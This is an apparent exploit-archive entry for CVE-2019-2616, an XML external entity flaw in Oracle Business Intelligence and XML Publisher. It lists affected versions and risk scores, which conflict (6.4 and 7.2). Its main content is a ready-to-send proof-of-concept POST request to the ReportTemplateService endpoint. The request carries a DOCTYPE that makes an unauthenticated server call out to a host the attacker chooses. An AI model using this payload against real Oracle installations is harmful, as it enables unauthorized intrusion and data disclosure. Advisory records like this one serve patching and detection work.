Oracle Business Intelligence And XML Publisher XML Injection

2019.04.21

Credit: Vahagn Vardanyan

Risk: High

Local: No

Remote: Yes

CVE: CVE-2019-2616

CWE: CWE-284

CVSS Base Score: 6.4/10

Impact Subscore: 4.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: None

# Exploit Title: XXE in Oracle Business Intelligence and XML Publisher
# Date: 16.04.19
# Exploit Author: @vah_13
# Vendor Homepage: http://oracle.com
# Software Link:
https://www.oracle.com/technetwork/middleware/bi-enterprise-edition/downloads/index.html
# Version: 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: Windows
# CVE : CVE-2019-2616 (7.2/10)
PoC:
POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101
Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 76
Content-Type: text/xml; charset=UTF-8
<!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://IP/123 <http://ehost/123>
">

See this note in RAW Version

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